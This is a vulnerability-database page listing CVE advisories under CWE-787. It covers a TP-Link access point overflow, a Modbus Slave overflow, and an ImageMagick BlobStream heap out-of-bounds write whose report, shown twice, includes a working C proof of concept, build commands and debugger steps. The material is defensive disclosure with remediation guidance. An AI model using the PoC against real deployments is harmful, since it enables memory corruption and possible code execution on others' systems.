Common Weakness Enumeration

CWE-787

Allowed-with-Review

Out-of-bounds Write

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product writes data past the end, or before the beginning, of the intended buffer.

15143 vulnerabilities reference this CWE, most recent first.

GHSA-23GQ-P5V8-4XH3

Vulnerability from github – Published: 2024-04-09 15:30 – Updated: 2024-04-09 15:30
VLAI
Details

A stack-based buffer overflow vulnerability exists in the web interface Radio Scheduling functionality of Tp-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0 Build 20220926. A specially crafted series of HTTP requests can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.This vulnerability refers specifically to the overflow that occurs via the profile parameter at offset 0x4224b0 of the httpd binary shipped with v5.0.4 Build 20220216 of the EAP115.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-49912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-121",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T15:15:30Z",
    "severity": "HIGH"
  },
  "details": "A stack-based buffer overflow vulnerability exists in the web interface Radio Scheduling functionality of Tp-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0 Build 20220926. A specially crafted series of HTTP requests can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.This vulnerability refers specifically to the overflow that occurs via the `profile` parameter at offset `0x4224b0` of the `httpd` binary shipped with v5.0.4 Build 20220216 of the EAP115.",
  "id": "GHSA-23gq-p5v8-4xh3",
  "modified": "2024-04-09T15:30:37Z",
  "published": "2024-04-09T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49912"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1888"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1888"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23H3-JVQQ-M7VH

Vulnerability from github – Published: 2022-04-03 00:01 – Updated: 2022-04-13 00:00
VLAI
Details

Modbus Tools Modbus Slave (versions 7.4.2 and prior) is vulnerable to a stack-based buffer overflow in the registration field. This may cause the program to crash when a long character string is used.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-1068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-01T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Modbus Tools Modbus Slave (versions 7.4.2 and prior) is vulnerable to a stack-based buffer overflow in the registration field. This may cause the program to crash when a long character string is used.",
  "id": "GHSA-23h3-jvqq-m7vh",
  "modified": "2022-04-13T00:00:50Z",
  "published": "2022-04-03T00:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1068"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-088-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23HG-53Q6-HQFG

Vulnerability from github – Published: 2025-09-05 20:09 – Updated: 2025-11-03 21:34
VLAI
Summary
ImageMagick BlobStream Forward-Seek Under-Allocation
Details

Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component: MagickCore/blob.c (Blob I/O - BlobStream)
Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution

Executive Summary

For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.

Affected Scope

  • Versions confirmed: 7.1.2-0, 7.1.2-1

  • Architectures: Observed on macOS arm64; architecture-agnostic on LP64

  • Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()).

  • Not required: External delegates; special policies; integer wraparound

Technical Root Cause

Types (LP64):
offset: MagickOffsetType (signed 64-bit)
extent/length/quantum: size_t (unsigned 64-bit)
data: unsigned char*

Contract mismatch:

  • SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment.

  • WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then:

    q = data + (size_t)offset; memmove(q, src, length);

    There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extent, q is beyond the allocation.

Wrap-free demonstration:
Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.

Exploitability & Reachability

  • Primitive: Controlled bytes written at a controlled displacement from the buffer base.

  • Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.

  • Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.

Impact Assessment

  • Integrity: High - adjacent object/metadata overwrite plausible.

  • Availability: High - reliably crashable (ASan and non-ASan).

  • Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.

  • RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.

CVSS v3.1 Rationale (9.8)

  • AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.

  • AC:L - a single forward seek + write suffices; no races or specialized state.

  • S:U - corruption localized to the ImageMagick process.

  • C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).

Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.

Violated Invariant

Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.

The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.

Remediation (Principle)

In WriteBlob() (BlobStream case):

  1. Checked requirement:
    need = (size_t)offset + length; → if need < (size_t)offset, overflow → fail.

  2. Ensure capacity ≥ need:
    target = MagickMax(extent + quantum + length, need);
    (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.)

  3. Reallocate to target + 1 before copying; then perform the move.

Companion hardening (recommended):

  • Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.

  • Centralize blob arithmetic in checked helpers.

  • Unit tests: forward-seek-then-write (success and overflow-reject).

Regression & Compatibility

  • Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).

  • Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.

Vendor Verification Checklist

  • Reproduce with a minimal in-memory BlobStream harness under ASan.

  • Apply fix; verify extent ≥ offset + length at all write sites.

  • Add forward-seek test cases (positive/negative).

  • Audit other growth sites (SetBlobExtent, stream helpers).

  • Clarify BlobStream seek semantics in documentation.

  • Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.

PoC / Reproduction / Notes

Environment

  • OS/Arch: macOS 14 (arm64)

  • Compiler: clang-17 with AddressSanitizer

  • ImageMagick: Q16-HDRI

  • Prefix: ~/opt/im-7.1.2-0

  • pkg-config: from PATH (no hard-coded /usr/local/...)

Build ImageMagick 7.1.2-0 (static, minimal)

./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
  --disable-shared --enable-static --without-modules \
  --without-magick-plus-plus --disable-openmp --without-perl \
  --without-x --without-lqr --without-gslib

make -j"$(sysctl -n hw.ncpu)"
make install

"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt

Build & Run the PoC (memory-backed BlobStream)

poc.c:
Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.

// poc.c

#include <stdio.h>

#include <stdlib.h>

#include <MagickCore/MagickCore.h>

#include <MagickCore/blob.h>

#include "MagickCore/blob-private.h"



int main(int argc, char **argv) {

MagickCoreGenesis(argv[0], MagickTrue);

ExceptionInfo *e = AcquireExceptionInfo();

ImageInfo *ii = AcquireImageInfo();

Image *im = AcquireImage(ii, e);

if (!im) return 1;



// 1-byte memory blob → BlobStream

unsigned char *buf = (unsigned char*) malloc(1);

buf[0] = 0x41;

AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0

SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf



// Step 1: write 1 byte (creates BlobInfo + sets offset=1)

unsigned char A = 0x42;

(void) WriteBlob(im, 1, &A);

fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));



// Step 2: seek way past end without growing capacity

const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB

(void) SeekBlob(im, big, SEEK_SET);

fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));



// Step 3: small write → reallocation grows by quantum+length, not to offset+length

// memcpy then writes to data + offset (OOB)

const unsigned char payload[] = "PWN";

(void) WriteBlob(im, sizeof(payload), payload);



// If we get here, it didn't crash

fprintf(stderr, "[-] no crash; check ASan flags.\n");



(void) CloseBlob(im);

DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);

MagickCoreTerminus();

return 0;

}

run:

# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"

# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'

# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
  $(pkg-config --cflags MagickCore-7.Q16HDRI) \
  $(pkg-config --static --libs MagickCore-7.Q16HDRI)

# Execute and capture
./poc 2>&1 | tee asan.log

Expected markers prior to the fault:

[+] after 1 byte: off=1 len=1
[+] after seek:  off=268435456 len=1

An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then _platform_memmove / __sanitizer_internal_memmove).

Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run

# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue

# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)

# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum

Expected at second stop:
type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in _platform_memmove.

Credits

Reported by: Lumina Mescuwa

Severity
3.8 (Low)
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-131",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-05T20:09:19Z",
    "nvd_published_at": "2025-09-05T22:15:34Z",
    "severity": "LOW"
  },
  "details": "**Reporter:**\u00a0Lumina Mescuwa  \n**Product:**\u00a0ImageMagick 7 (MagickCore)  \n**Component:**\u00a0`MagickCore/blob.c`\u00a0(Blob I/O - BlobStream)  \n**Tested:**\u00a07.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  \n**Impact:**\u00a0Heap out-of-bounds\u00a0**WRITE**\u00a0(attacker-controlled bytes at attacker-chosen offset) \u2192 memory corruption; potential code execution  \n\n---\n\n## Executive Summary\n\nFor memory-backed blobs (**BlobStream**),\u00a0[`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0permits advancing the stream\u00a0**offset**\u00a0beyond the current end without increasing capacity. The subsequent\u00a0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0then expands by\u00a0**`quantum + length`**\u00a0(amortized) instead of\u00a0**`offset + length`**, and copies to\u00a0`data + offset`. When\u00a0`offset \u226b extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2\u2076\u2074 arithmetic wrap, external delegates, or policy settings are required.\n\n---\n\n## Affected Scope\n\n- **Versions confirmed:**\u00a07.1.2-0, 7.1.2-1\n    \n- **Architectures:**\u00a0Observed on macOS arm64; architecture-agnostic on LP64\n    \n- Paths: MagickCore blob subsystem \u2014\u00a0**BlobStream**\u00a0([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0and\u00a0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).\n    \n- **Not required:**\u00a0External delegates; special policies; integer wraparound\n    \n\n---\n\n## Technical Root Cause\n\n**Types (LP64):**  \n`offset: MagickOffsetType`\u00a0(signed 64-bit)  \n`extent/length/quantum: size_t`\u00a0(unsigned 64-bit)  \n`data: unsigned char*`\n\n**Contract mismatch:**\n\n- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0(BlobStream) updates\u00a0`offset`\u00a0to arbitrary positions, including past end,\u00a0**without**\u00a0capacity adjustment.\n    \n- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0tests\u00a0`offset + length \u003e= extent`\u00a0and grows\u00a0**by**\u00a0`length + quantum`, doubles\u00a0`quantum`, reallocates to\u00a0`extent + 1`, then:\n    \n    ```\n    q = data + (size_t)offset;\n    memmove(q, src, length);\n    ```\n    \n    There is\u00a0**no guarantee**\u00a0that\u00a0`extent \u2265 offset + length`\u00a0post-growth. With\u00a0`offset \u226b extent`,\u00a0`q`\u00a0is beyond the allocation.\n    \n\n**Wrap-free demonstration:**  \nInitialize\u00a0`extent=1`, write one byte (`offset=1`), seek to\u00a0`0x10000000`\u00a0(256 MiB), then write 3\u20134 bytes. Growth remains \u003c\u003c\u00a0`offset + length`; the copy overruns the heap buffer.\n\n---\n\n## Exploitability \u0026 Reachability\n\n- **Primitive:**\u00a0Controlled bytes written at a controlled displacement from the buffer base.\n    \n- **Reachability:**\u00a0Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract\u00a0**permits**\u00a0it, thus creating a latent sink for first- or third-party encoders/writers.\n    \n- **Determinism:**\u00a0Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.\n    \n\n---\n\n## Impact Assessment\n\n- **Integrity:**\u00a0High - adjacent object/metadata overwrite plausible.\n    \n- **Availability:**\u00a0High - reliably crashable (ASan and non-ASan).\n    \n- **Confidentiality:**\u00a0High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.\n    \n- **RCE plausibility:**\u00a0Typical of heap OOB writes in long-lived image services; allocator/layout dependent.\n    \n\n---\n\n## CVSS v3.1 Rationale (9.8)\n\n- **AV:N / PR:N / UI:N**\u00a0- server-side image processing is commonly network-reachable without auth or user action.\n    \n- **AC:L**\u00a0- a single forward seek + write suffices; no races or specialized state.\n    \n- **S:U**\u00a0- corruption localized to the ImageMagick process.\n    \n- **C:H / I:H / A:H**\u00a0- A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).\n    \n\n_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._\n\n---\n\n## Violated Invariant\n\n\u003e **Before copying\u00a0`length`\u00a0bytes at\u00a0`offset`, enforce\u00a0`extent \u2265 offset + length`\u00a0with overflow-checked arithmetic.**\n\nThe BlobStream growth policy preserves amortized efficiency but fails to enforce this\u00a0**per-write**\u00a0safety invariant.\n\n---\n\n## Remediation (Principle)\n\nIn\u00a0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0(BlobStream case):\n\n1. **Checked requirement:**  \n    `need = (size_t)offset + length;`\u00a0\u2192 if\u00a0`need \u003c (size_t)offset`, overflow \u2192 fail.\n    \n2. **Ensure capacity \u2265 need:**  \n    `target = MagickMax(extent + quantum + length, need);`  \n    (Optionally loop, doubling\u00a0`quantum`, until\u00a0`extent \u2265 need`\u00a0to preserve amortization.)\n    \n3. **Reallocate to\u00a0`target + 1`\u00a0before copying;**\u00a0then perform the move.\n    \n\n**Companion hardening (recommended):**\n\n- Document or restrict\u00a0[`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.\n    \n- Centralize blob arithmetic in checked helpers.\n    \n- Unit tests: forward-seek-then-write (success and overflow-reject).\n    \n\n---\n\n## Regression \u0026 Compatibility\n\n- **Behavior change:**\u00a0Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).\n    \n- **Memory profile:**\u00a0Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.\n    \n\n---\n\n## Vendor Verification Checklist\n\n- Reproduce with a minimal in-memory BlobStream harness under ASan.\n    \n- Apply fix; verify\u00a0`extent \u2265 offset + length`\u00a0at all write sites.\n    \n- Add forward-seek test cases (positive/negative).\n    \n- Audit other growth sites (`SetBlobExtent`, stream helpers).\n    \n- Clarify BlobStream seek semantics in documentation.\n    \n- Unit test: forward seek to large offset on\u00a0**BlobStream**\u00a0followed by 1\u20138 byte writes; assert either growth to\u00a0`need`\u00a0or clean failure.\n    \n\n---\n\n# PoC / Reproduction / Notes\n\n## Environment\n\n- **OS/Arch:**\u00a0macOS 14 (arm64)\n    \n- **Compiler:**\u00a0clang-17 with AddressSanitizer\n    \n- **ImageMagick:**\u00a0Q16-HDRI\n    \n- **Prefix:**\u00a0`~/opt/im-7.1.2-0`\n    \n- **`pkg-config`:**\u00a0from PATH (no hard-coded\u00a0`/usr/local/...`)\n    \n\n---\n\n## Build ImageMagick 7.1.2-0 (static, minimal)\n\n```bash\n./configure --prefix=\"$HOME/opt/im-7.1.2-0\" --enable-hdri --with-quantum-depth=16 \\\n  --disable-shared --enable-static --without-modules \\\n  --without-magick-plus-plus --disable-openmp --without-perl \\\n  --without-x --without-lqr --without-gslib\n\nmake -j\"$(sysctl -n hw.ncpu)\"\nmake install\n\n\"$HOME/opt/im-7.1.2-0/bin/magick\" -version \u003e magick_version.txt\n```\n\n---\n\n## Build \u0026 Run the PoC (memory-backed BlobStream)\n\n**`poc.c`:**  \n_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._\n\n```c\n// poc.c\n\n#include \u003cstdio.h\u003e\n\n#include \u003cstdlib.h\u003e\n\n#include \u003cMagickCore/MagickCore.h\u003e\n\n#include \u003cMagickCore/blob.h\u003e\n\n#include \"MagickCore/blob-private.h\"\n\n  \n\nint main(int argc, char **argv) {\n\nMagickCoreGenesis(argv[0], MagickTrue);\n\nExceptionInfo *e = AcquireExceptionInfo();\n\nImageInfo *ii = AcquireImageInfo();\n\nImage *im = AcquireImage(ii, e);\n\nif (!im) return 1;\n\n  \n\n// 1-byte memory blob \u2192 BlobStream\n\nunsigned char *buf = (unsigned char*) malloc(1);\n\nbuf[0] = 0x41;\n\nAttachBlob(im-\u003eblob, buf, 1); // type=BlobStream, extent=1, offset=0\n\nSetBlobExempt(im, MagickTrue); // don\u0027t free our malloc\u0027d buf\n\n  \n\n// Step 1: write 1 byte (creates BlobInfo + sets offset=1)\n\nunsigned char A = 0x42;\n\n(void) WriteBlob(im, 1, \u0026A);\n\nfprintf(stderr, \"[+] after 1 byte: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 2: seek way past end without growing capacity\n\nconst MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB\n\n(void) SeekBlob(im, big, SEEK_SET);\n\nfprintf(stderr, \"[+] after seek: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 3: small write \u2192 reallocation grows by quantum+length, not to offset+length\n\n// memcpy then writes to data + offset (OOB)\n\nconst unsigned char payload[] = \"PWN\";\n\n(void) WriteBlob(im, sizeof(payload), payload);\n\n  \n\n// If we get here, it didn\u0027t crash\n\nfprintf(stderr, \"[-] no crash; check ASan flags.\\n\");\n\n  \n\n(void) CloseBlob(im);\n\nDestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);\n\nMagickCoreTerminus();\n\nreturn 0;\n\n}\n```\n\n---\n\n`run:`\n\n```bash\n# Use the private prefix for pkg-config\nexport PKG_CONFIG_PATH=\"$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH\"\n\n# Strict ASan for crisp failure\nexport ASAN_OPTIONS=\u0027halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0\u0027\n\n# Compile (static link pulls transitive deps via --static)\nclang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \\\n  $(pkg-config --cflags MagickCore-7.Q16HDRI) \\\n  $(pkg-config --static --libs MagickCore-7.Q16HDRI)\n\n# Execute and capture\n./poc 2\u003e\u00261 | tee asan.log\n```\n\n**Expected markers prior to the fault:**\n\n```\n[+] after 1 byte: off=1 len=1\n[+] after seek:  off=268435456 len=1\n```\n\nAn ASan\u00a0**WRITE**\u00a0crash in\u00a0[`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0follows (top frames:\u00a0`WriteBlob blob.c:\u003cline\u003e`, then\u00a0`_platform_memmove`\u00a0/\u00a0`__sanitizer_internal_memmove`).\n\n---\n\n## Debugger Verification (manual)\n\nLLDB can be used to snapshot the invariants; ASan alone is sufficient.\n\n```\nlldb ./poc\n(lldb) settings set use-color false\n(lldb) break set -n WriteBlob\n(lldb) run\n\n# First stop (prime write)\n(lldb) frame var length\n(lldb) frame var image-\u003eblob-\u003etype image-\u003eblob-\u003eoffset image-\u003eblob-\u003elength image-\u003eblob-\u003eextent image-\u003eblob-\u003equantum image-\u003eblob-\u003emapped\n(lldb) continue\n\n# Second stop (post-seek write)\n(lldb) frame var length\n(lldb) frame var image-\u003eblob-\u003etype image-\u003eblob-\u003eoffset image-\u003eblob-\u003elength image-\u003eblob-\u003eextent image-\u003eblob-\u003equantum image-\u003eblob-\u003emapped\n(lldb) expr -- (unsigned long long)image-\u003eblob-\u003eoffset + (unsigned long long)length\n(lldb) expr -- (void*)((unsigned char*)image-\u003eblob-\u003edata + (size_t)image-\u003eblob-\u003eoffset)\n\n# Into the fault; if inside memmove (no locals):\n(lldb) bt\n(lldb) frame select 1\n(lldb) frame var image-\u003eblob-\u003eoffset image-\u003eblob-\u003elength image-\u003eblob-\u003eextent image-\u003eblob-\u003equantum\n```\n\n**Expected at second stop:**  \n`type = BlobStream`\u00a0\u00b7\u00a0`offset \u2248 0x10000000`\u00a0(256 MiB) \u00b7\u00a0`length \u2248 3\u20134`\u00a0\u00b7\u00a0`extent \u2248 64 KiB`\u00a0(\u226a\u00a0`offset + length`) \u00b7\u00a0`quantum \u2248 128 KiB`\u00a0\u00b7\u00a0`mapped = MagickFalse`\u00a0\u00b7\u00a0`data + offset`\u00a0far beyond base; next\u00a0`continue`\u00a0crashes in\u00a0`_platform_memmove`.\n    \n---\n\n## Credits\n\n**Reported by:**\u00a0Lumina Mescuwa\n\n---",
  "id": "GHSA-23hg-53q6-hqfg",
  "modified": "2025-11-03T21:34:26Z",
  "published": "2025-09-05T20:09:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
